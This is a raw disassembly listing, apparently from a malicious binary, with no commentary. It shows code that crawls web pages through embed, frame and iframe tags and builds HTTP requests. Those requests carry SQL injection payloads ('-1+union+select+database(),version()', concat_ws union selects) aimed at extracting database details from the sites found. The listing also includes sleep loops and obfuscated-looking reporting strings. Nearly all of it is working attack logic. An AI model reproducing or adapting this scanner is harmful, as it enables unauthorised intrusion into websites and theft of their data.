push offset aHttp_0 ; "http://"
call sub_41975A
test eax, eax
jz short loc_41A55C
lea eax, [ebp-160h]
lea ecx, [ebp-170h]
push eax
call sub_419649
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A55C: ; CODE XREF: ?9:0041A546j
lea ecx, [ebp-160h]
call sub_4199C6
push eax
lea ecx, [ebp-1B0h]
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-170h]
push offset aHttpSDSS ; "http://%s:%d%s%s"
push eax
call sub_4196E3
add esp, 18h
loc_41A59A: ; CODE XREF: ?9:0041A538j ?9:0041A55Aj
lea eax, [ebp-0ACh]
lea ecx, [ebp-170h]
push eax
call sub_4199C6
push eax
call sub_419B88
pop ecx
test eax, eax
pop ecx
jz loc_41A757
cmp dword ptr [ebp-6Ch], 50h
lea ecx, [ebp-9Ch]
jnz short loc_41A5E1
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostS ; "Host: %s"
push eax
call sub_4196E3
add esp, 0Ch
jmp short loc_41A5FB
; ---------------------------------------------------------------------------
loc_41A5E1: ; CODE XREF: ?9:0041A5C6j
push dword ptr [ebp-6Ch]
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostSD ; "Host: %s:%d"
push eax
call sub_4196E3
add esp, 10h
loc_41A5FB: ; CODE XREF: ?9:0041A5DFj
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-364h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-364h]
call sub_4195C9
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetS1UnionSele ; "GET %s=-1+union+select+database(),versi"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-284h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-284h]
call sub_4195C9
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetS1UnionSe_0 ; "GET %s=-1+union+select+1,2,concat_ws(0x"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-324h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-324h]
call sub_4195C9
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
push dword ptr [ebp+8]
lea ecx, [ebp-68h]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetS1UnionSe_1 ; "GET %s=-1+union+select+1,2,concat_ws(ch"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-2A4h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-2A4h]
call sub_4195C9
loc_41A757: ; CODE XREF: ?9:0041A5B6j
lea ecx, [ebp-170h]
call sub_4195C9
lea ecx, [ebp-160h]
call sub_4195C9
loc_41A76D: ; CODE XREF: ?9:0041A4ABj
lea ecx, [ebp-110h]
jmp loc_41AF61
; ---------------------------------------------------------------------------
loc_41A778: ; CODE XREF: ?9:0041A3E7j
push offset off_446E18
lea ecx, [ebp-0BCh]
call sub_4196D2
test eax, eax
jnz loc_41AA16
push esi
lea eax, [ebp-3A4h]
push ebx
push eax
lea ecx, [ebp-44h]
mov [ebp-10h], ebx
call sub_419998
push edi
lea ecx, [ebp-140h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 15h
call sub_419998
lea ecx, [ebp-3A4h]
jmp short loc_41A81F
; ---------------------------------------------------------------------------
loc_41A7C0: ; CODE XREF: ?9:0041A83Aj
push offset byte_454A34
lea ecx, [ebp-140h]
call sub_4196C2
test eax, eax
jz short loc_41A83C
inc dword ptr [ebp-10h]
push esi
push dword ptr [ebp-10h]
lea eax, [ebp-344h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push edi
lea ecx, [ebp-2C4h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 18h
call sub_419998
push eax
lea ecx, [ebp-140h]
mov byte ptr [ebp-4], 19h
call sub_419649
lea ecx, [ebp-2C4h]
call sub_4195C9
lea ecx, [ebp-344h]
loc_41A81F: ; CODE XREF: ?9:0041A7BEj
mov byte ptr [ebp-4], 17h
call sub_4195C9
lea ecx, [ebp-140h]
push offset off_446E14
call sub_4196D2
test eax, eax
jnz short loc_41A7C0
loc_41A83C: ; CODE XREF: ?9:0041A7D2j
push offset byte_454A34
lea ecx, [ebp-140h]
call sub_4196C2
test eax, eax
jz loc_41AA0B
push esi
lea eax, [ebp-2E4h]
push dword ptr [ebp-10h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push 1
push edi
lea ecx, [ebp-0E0h]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 1Ah
call sub_41984D
lea ecx, [ebp-2E4h]
call sub_4195C9
lea ecx, [ebp-1A0h]
call sub_419551
push ebx
lea ecx, [ebp-0E0h]
mov byte ptr [ebp-4], 1Dh
call sub_4199BC
cmp byte ptr [eax], 2Fh
lea ecx, [ebp-0E0h]
jnz short loc_41A8DD
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-1A0h]
push offset aHttpSDS ; "http://%s:%d%s"
push eax
call sub_4196E3
add esp, 14h
jmp short loc_41A93D
; ---------------------------------------------------------------------------
loc_41A8DD: ; CODE XREF: ?9:0041A8ADj
push offset aHttp_0 ; "http://"
call sub_41975A
test eax, eax
jz short loc_41A8FF
lea eax, [ebp-0E0h]
lea ecx, [ebp-1A0h]
push eax
call sub_419649
jmp short loc_41A93D
; ---------------------------------------------------------------------------
loc_41A8FF: ; CODE XREF: ?9:0041A8E9j
lea ecx, [ebp-0E0h]
call sub_4199C6
push eax
lea ecx, [ebp-1B0h]
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-1A0h]
push offset aHttpSDSS ; "http://%s:%d%s%s"
push eax
call sub_4196E3
add esp, 18h
loc_41A93D: ; CODE XREF: ?9:0041A8DBj ?9:0041A8FDj
lea eax, [ebp-0ACh]
lea ecx, [ebp-1A0h]
push eax
call sub_4199C6
push eax
call sub_419B88
pop ecx
test eax, eax
pop ecx
jz loc_41A9F5
cmp dword ptr [ebp-6Ch], 50h
lea ecx, [ebp-9Ch]
jnz short loc_41A984
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostS ; "Host: %s"
push eax
call sub_4196E3
add esp, 0Ch
jmp short loc_41A99E
; ---------------------------------------------------------------------------
loc_41A984: ; CODE XREF: ?9:0041A969j
push dword ptr [ebp-6Ch]
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostSD ; "Host: %s:%d"
push eax
call sub_4196E3
add esp, 10h
loc_41A99E: ; CODE XREF: ?9:0041A982j
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-224h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-224h]
call sub_4195C9
loc_41A9F5: ; CODE XREF: ?9:0041A959j
lea ecx, [ebp-1A0h]
call sub_4195C9
lea ecx, [ebp-0E0h]
call sub_4195C9
loc_41AA0B: ; CODE XREF: ?9:0041A84Ej
lea ecx, [ebp-140h]
jmp loc_41AF61
; ---------------------------------------------------------------------------
loc_41AA16: ; CODE XREF: ?9:0041A78Aj
push offset aEmbed ; "embed"
lea ecx, [ebp-0BCh]
call sub_4196D2
test eax, eax
jnz loc_41ACB4
push esi
lea eax, [ebp-234h]
push ebx
push eax
lea ecx, [ebp-44h]
mov [ebp-10h], ebx
call sub_419998
push edi
lea ecx, [ebp-130h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 1Eh
call sub_419998
lea ecx, [ebp-234h]
jmp short loc_41AABD
; ---------------------------------------------------------------------------
loc_41AA5E: ; CODE XREF: ?9:0041AAD8j
push offset byte_454A34
lea ecx, [ebp-130h]
call sub_4196C2
test eax, eax
jz short loc_41AADA
inc dword ptr [ebp-10h]
push esi
push dword ptr [ebp-10h]
lea eax, [ebp-274h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push edi
lea ecx, [ebp-254h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 21h
call sub_419998
push eax
lea ecx, [ebp-130h]
mov byte ptr [ebp-4], 22h
call sub_419649
lea ecx, [ebp-254h]
call sub_4195C9
lea ecx, [ebp-274h]
loc_41AABD: ; CODE XREF: ?9:0041AA5Cj
mov byte ptr [ebp-4], 20h
call sub_4195C9
lea ecx, [ebp-130h]
push offset off_446E14
call sub_4196D2
test eax, eax
jnz short loc_41AA5E
loc_41AADA: ; CODE XREF: ?9:0041AA70j
push offset byte_454A34
lea ecx, [ebp-130h]
call sub_4196C2
test eax, eax
jz loc_41ACA9
push esi
lea eax, [ebp-294h]
push dword ptr [ebp-10h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push 1
push edi
lea ecx, [ebp-150h]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 23h
call sub_41984D
lea ecx, [ebp-294h]
call sub_4195C9
lea ecx, [ebp-190h]
call sub_419551
push ebx
lea ecx, [ebp-150h]
mov byte ptr [ebp-4], 26h
call sub_4199BC
cmp byte ptr [eax], 2Fh
lea ecx, [ebp-150h]
jnz short loc_41AB7B
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-190h]
push offset aHttpSDS ; "http://%s:%d%s"
push eax
call sub_4196E3
add esp, 14h
jmp short loc_41ABDB
; ---------------------------------------------------------------------------
loc_41AB7B: ; CODE XREF: ?9:0041AB4Bj
push offset aHttp_0 ; "http://"
call sub_41975A
test eax, eax
jz short loc_41AB9D
lea eax, [ebp-150h]
lea ecx, [ebp-190h]
push eax
call sub_419649
jmp short loc_41ABDB
; ---------------------------------------------------------------------------
loc_41AB9D: ; CODE XREF: ?9:0041AB87j
lea ecx, [ebp-150h]
call sub_4199C6
push eax
lea ecx, [ebp-1B0h]
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-190h]
push offset aHttpSDSS ; "http://%s:%d%s%s"
push eax
call sub_4196E3
add esp, 18h
loc_41ABDB: ; CODE XREF: ?9:0041AB79j ?9:0041AB9Bj
lea eax, [ebp-0ACh]
lea ecx, [ebp-190h]
push eax
call sub_4199C6
push eax
call sub_419B88
pop ecx
test eax, eax
pop ecx
jz loc_41AC93
cmp dword ptr [ebp-6Ch], 50h
lea ecx, [ebp-9Ch]
jnz short loc_41AC22
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostS ; "Host: %s"
push eax
call sub_4196E3
add esp, 0Ch
jmp short loc_41AC3C
; ---------------------------------------------------------------------------
loc_41AC22: ; CODE XREF: ?9:0041AC07j
push dword ptr [ebp-6Ch]
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostSD ; "Host: %s:%d"
push eax
call sub_4196E3
add esp, 10h
loc_41AC3C: ; CODE XREF: ?9:0041AC20j
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-2B4h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-2B4h]
call sub_4195C9
loc_41AC93: ; CODE XREF: ?9:0041ABF7j
lea ecx, [ebp-190h]
call sub_4195C9
lea ecx, [ebp-150h]
call sub_4195C9
loc_41ACA9: ; CODE XREF: ?9:0041AAECj
lea ecx, [ebp-130h]
jmp loc_41AF61
; ---------------------------------------------------------------------------
loc_41ACB4: ; CODE XREF: ?9:0041AA28j
push offset aFrame ; "frame"
lea ecx, [ebp-0BCh]
call sub_4196D2
test eax, eax
jz short loc_41ACE0
push offset aIframe ; "iframe"
lea ecx, [ebp-0BCh]
call sub_4196D2
test eax, eax
jnz loc_41AF66
loc_41ACE0: ; CODE XREF: ?9:0041ACC6j
push esi
lea eax, [ebp-2D4h]
push ebx
push eax
lea ecx, [ebp-44h]
mov [ebp-10h], ebx
call sub_419998
push edi
lea ecx, [ebp-120h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 27h
call sub_419998
lea ecx, [ebp-2D4h]
jmp short loc_41AD6F
; ---------------------------------------------------------------------------
loc_41AD10: ; CODE XREF: ?9:0041AD8Aj
push offset byte_454A34
lea ecx, [ebp-120h]
call sub_4196C2
test eax, eax
jz short loc_41AD8C
inc dword ptr [ebp-10h]
push esi
push dword ptr [ebp-10h]
lea eax, [ebp-314h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push edi
lea ecx, [ebp-2F4h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 2Ah
call sub_419998
push eax
lea ecx, [ebp-120h]
mov byte ptr [ebp-4], 2Bh
call sub_419649
lea ecx, [ebp-2F4h]
call sub_4195C9
lea ecx, [ebp-314h]
loc_41AD6F: ; CODE XREF: ?9:0041AD0Ej
mov byte ptr [ebp-4], 29h
call sub_4195C9
lea ecx, [ebp-120h]
push offset off_446E14
call sub_4196D2
test eax, eax
jnz short loc_41AD10
loc_41AD8C: ; CODE XREF: ?9:0041AD22j
push offset byte_454A34
lea ecx, [ebp-120h]
call sub_4196C2
test eax, eax
jz loc_41AF5B
push esi
lea eax, [ebp-334h]
push dword ptr [ebp-10h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push 1
push edi
lea ecx, [ebp-100h]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 2Ch
call sub_41984D
lea ecx, [ebp-334h]
call sub_4195C9
lea ecx, [ebp-180h]
call sub_419551
push ebx
lea ecx, [ebp-100h]
mov byte ptr [ebp-4], 2Fh
call sub_4199BC
cmp byte ptr [eax], 2Fh
lea ecx, [ebp-100h]
jnz short loc_41AE2D
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-180h]
push offset aHttpSDS ; "http://%s:%d%s"
push eax
call sub_4196E3
add esp, 14h
jmp short loc_41AE8D
; ---------------------------------------------------------------------------
loc_41AE2D: ; CODE XREF: ?9:0041ADFDj
push offset aHttp_0 ; "http://"
call sub_41975A
test eax, eax
jz short loc_41AE4F
lea eax, [ebp-100h]
lea ecx, [ebp-180h]
push eax
call sub_419649
jmp short loc_41AE8D
; ---------------------------------------------------------------------------
loc_41AE4F: ; CODE XREF: ?9:0041AE39j
lea ecx, [ebp-100h]
call sub_4199C6
push eax
lea ecx, [ebp-1B0h]
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-180h]
push offset aHttpSDSS ; "http://%s:%d%s%s"
push eax
call sub_4196E3
add esp, 18h
loc_41AE8D: ; CODE XREF: ?9:0041AE2Bj ?9:0041AE4Dj
lea eax, [ebp-0ACh]
lea ecx, [ebp-180h]
push eax
call sub_4199C6
push eax
call sub_419B88
pop ecx
test eax, eax
pop ecx
jz loc_41AF45
cmp dword ptr [ebp-6Ch], 50h
lea ecx, [ebp-9Ch]
jnz short loc_41AED4
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostS ; "Host: %s"
push eax
call sub_4196E3
add esp, 0Ch
jmp short loc_41AEEE
; ---------------------------------------------------------------------------
loc_41AED4: ; CODE XREF: ?9:0041AEB9j
push dword ptr [ebp-6Ch]
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostSD ; "Host: %s:%d"
push eax
call sub_4196E3
add esp, 10h
loc_41AEEE: ; CODE XREF: ?9:0041AED2j
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-354h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-354h]
call sub_4195C9
loc_41AF45: ; CODE XREF: ?9:0041AEA9j
lea ecx, [ebp-180h]
call sub_4195C9
lea ecx, [ebp-100h]
call sub_4195C9
loc_41AF5B: ; CODE XREF: ?9:0041AD9Ej
lea ecx, [ebp-120h]
loc_41AF61: ; CODE XREF: ?9:0041A3D0j ?9:0041A773j ...
call sub_4195C9
loc_41AF66: ; CODE XREF: ?9:0041ACDAj
lea ecx, [ebp-0BCh]
call sub_4195C9
lea ecx, [ebp-44h]
call sub_4195C9
lea ecx, [ebp-0F0h]
call sub_4195C9
lea ecx, [ebp-0ACh]
mov byte ptr [ebp-4], 3
call sub_41B0AD
loc_41AF93: ; CODE XREF: ?9:0041A190j
cmp [ebp-3B4h], ebx
jnz loc_41A195
jmp short loc_41AFB0
; ---------------------------------------------------------------------------
loc_41AFA1: ; CODE XREF: ?9:0041A1B3j
lea ecx, [ebp-0ACh]
mov byte ptr [ebp-4], 3
call sub_41B0AD
loc_41AFB0: ; CODE XREF: ?9:0041AF9Fj
mov eax, [ebp-3B8h]
cmp eax, ebx
jnz short loc_41AFCB
push 5265C00h
push 36EE80h
call sub_41E34F
pop ecx
pop ecx
loc_41AFCB: ; CODE XREF: ?9:0041AFB8j
push eax
call dword_43718C ; Sleep
inc dword ptr [ebp-48h]
lea ecx, [ebp-0CCh]
call sub_4195C9
lea ecx, [ebp-20h]
call sub_4195C9
lea ecx, [ebp-30h]
mov [ebp-4], bl
call sub_4195C9
mov eax, [ebp-48h]
cmp eax, [ebp-3C0h]
jl loc_41A0CC
loc_41B002: ; CODE XREF: ?9:0041A0BCj
cmp [ebp-3ACh], ebx
mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
mov esi, offset aSSSU ; "%s %s -> %s:%u"
jnz short loc_41B042
cmp [ebp-3B0h], ebx
jnz short loc_41B04A
push dword ptr [ebp-3C4h]
lea eax, [ebp-0C48h]
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push edi
lea eax, [ebp-448h]
push esi
push eax
push dword ptr [ebp-34h]
call sub_41CD84
add esp, 1Ch
loc_41B042: ; CODE XREF: ?9:0041B012j
cmp [ebp-3B0h], ebx
jz short loc_41B070
loc_41B04A: ; CODE XREF: ?9:0041B01Aj
push dword ptr [ebp-3C4h]
lea eax, [ebp-0C48h]
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push edi
lea eax, [ebp-448h]
push esi
push eax
push dword ptr [ebp-34h]
call sub_41CD0E
add esp, 1Ch
loc_41B070: ; CODE XREF: ?9:0041B048j
push dword ptr [ebp-3C8h]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
; =============== S U B R O U T I N E =======================================
sub_41B083 proc near ; CODE XREF: ?9:0041A008p ?9:0041A19Bp
mov edx, ecx
call sub_419551
lea ecx, [edx+10h]
call sub_419551
lea ecx, [edx+20h]
call sub_419551
lea ecx, [edx+30h]
call sub_419551
lea ecx, [edx+44h]
call sub_419551
mov eax, edx
retn
sub_41B083 endp
; =============== S U B R O U T I N E =======================================
sub_41B0AD proc near ; CODE XREF: ?9:0041A083p ?9:0041AF8Ep ...
push esi
mov esi, ecx
lea ecx, [esi+44h]
call sub_4195C9
lea ecx, [esi+30h]
call sub_4195C9
lea ecx, [esi+20h]
call sub_4195C9
lea ecx, [esi+10h]
call sub_4195C9
mov ecx, esi
pop esi
jmp sub_4195C9
sub_41B0AD endp
; =============== S U B R O U T I N E =======================================
sub_41B0D8 proc near ; CODE XREF: sub_41984D+132p
; ?9:00436263j
push esi
mov esi, ecx
push dword ptr [esi+4]
call sub_429006
xor eax, eax
pop ecx
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
sub_41B0D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B0F1 proc near ; CODE XREF: sub_41984D+112p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
mov edi, [esp+8+arg_0]
mov ecx, [esi+4]
test ecx, ecx
jz short loc_41B10C
mov eax, [esi+8]
sub eax, ecx
sar eax, 2
cmp eax, edi
ja short loc_41B113
loc_41B10C: ; CODE XREF: sub_41B0F1+Dj
mov ecx, esi
call sub_41B12F
loc_41B113: ; CODE XREF: sub_41B0F1+19j
mov eax, [esi+4]
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_41B0F1 endp
; =============== S U B R O U T I N E =======================================
sub_41B11E proc near ; CODE XREF: sub_41984D+76p
arg_0 = dword ptr 4
push [esp+arg_0]
push 1
push dword ptr [ecx+8]
call sub_41B581
retn 4
sub_41B11E endp
; =============== S U B R O U T I N E =======================================
sub_41B12F proc near ; CODE XREF: sub_41B0F1+1Dp
mov eax, offset loc_436514
call sub_42B6FC
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_41B427
mov esi, offset aInvalidVectorT ; "invalid vector<T> subscript"
push esi
call sub_4292D0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_41B45F
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41B189
lea eax, [ebp-3Ch]
push offset dword_438474
push eax
mov dword ptr [ebp-3Ch], offset off_4373D4
call sub_42B82A
pop esi
sub_41B12F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B189 proc near ; CODE XREF: sub_41B12F+3Fp
; sub_429011+3Fp ...
mov eax, offset loc_436528
call sub_42B6FC
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_454A34
call sub_42B8C4
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_41B427
push 0FFFFFFFFh
push 0
push ebx
mov ecx, edi
call sub_41B35A
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_4373C4
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41B189 endp
; =============== S U B R O U T I N E =======================================
sub_41B1E9 proc near ; DATA XREF: ?9:004373A8o ?9:004373C8o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41B1F5
mov eax, offset dword_437338
locret_41B1F5: ; CODE XREF: sub_41B1E9+5j
retn
sub_41B1E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B1F6 proc near ; DATA XREF: ?9:004373CCo
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41B26C
lea eax, [ebp+var_1C]
push offset dword_4384D8
push eax
call sub_42B82A
sub_41B1F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B213 proc near ; CODE XREF: ?9:0041B253p
; DATA XREF: ?9:004384DCo
mov eax, offset loc_43653C
call sub_42B6FC
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_4373C4
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_41B427
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_42B94B
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41B213 endp
; ---------------------------------------------------------------------------
loc_41B250: ; DATA XREF: ?9:off_4373C4o
push esi
mov esi, ecx
call sub_41B213
test byte ptr [esp+8], 1
jz short loc_41B266
push esi
call sub_429006
pop ecx
loc_41B266: ; CODE XREF: ?9:0041B25Dj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41B26C proc near ; CODE XREF: sub_41B1F6+Ap
; sub_41B33A+7p ...
mov eax, offset loc_436550
call sub_42B6FC
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_42B901
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_41B427
push 0FFFFFFFFh
push 0
push ebx
mov ecx, edi
call sub_41B35A
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_4373C4
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41B26C endp
; =============== S U B R O U T I N E =======================================
sub_41B2C4 proc near ; CODE XREF: sub_41B301+20p
; DATA XREF: ?9:00438478o
mov eax, offset loc_436564
call sub_42B6FC
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_4373C4
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_41B427
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_42B94B
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41B2C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B301 proc near ; DATA XREF: ?9:004373DCo
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41B33A
lea eax, [ebp+var_1C]
push offset dword_438474
push eax
call sub_42B82A
loc_41B31E: ; DATA XREF: ?9:off_4373D4o
push esi
mov esi, ecx
call sub_41B2C4
test [esp+20h+var_18], 1
jz short loc_41B334
push esi
call sub_429006
pop ecx
loc_41B334: ; CODE XREF: sub_41B301+2Aj
mov eax, esi
pop esi
retn 4
sub_41B301 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B33A proc near ; CODE XREF: sub_41B301+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B26C
mov dword ptr [esi], offset off_4373D4
mov eax, esi
pop esi
retn 4
sub_41B33A endp
; ---------------------------------------------------------------------------
loc_41B352: ; CODE XREF: ?9:0043650Fj ?9:004365BFj ...
push 1
call sub_41B427
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B35A proc near ; CODE XREF: sub_41B189+42p
; sub_41B26C+3Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_41B372
call sub_4290F9
loc_41B372: ; CODE XREF: sub_41B35A+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_41B384
mov esi, [ebp+arg_8]
loc_41B384: ; CODE XREF: sub_41B35A+25j
cmp edi, ebx
jnz short loc_41B3A2
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_41B494
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_41B494
jmp short loc_41B41E
; ---------------------------------------------------------------------------
loc_41B3A2: ; CODE XREF: sub_41B35A+2Cj
test esi, esi
jbe short loc_41B3E5
cmp esi, eax
jnz short loc_41B3E5
mov eax, [ebx+4]
test eax, eax
jnz short loc_41B3B6
mov eax, offset dword_437338
loc_41B3B6: ; CODE XREF: sub_41B35A+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_41B3E5
push 1
mov ecx, edi
call sub_41B427
mov eax, [ebx+4]
test eax, eax
jnz short loc_41B3D1
mov eax, offset dword_437338
loc_41B3D1: ; CODE XREF: sub_41B35A+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_41B41E
; ---------------------------------------------------------------------------
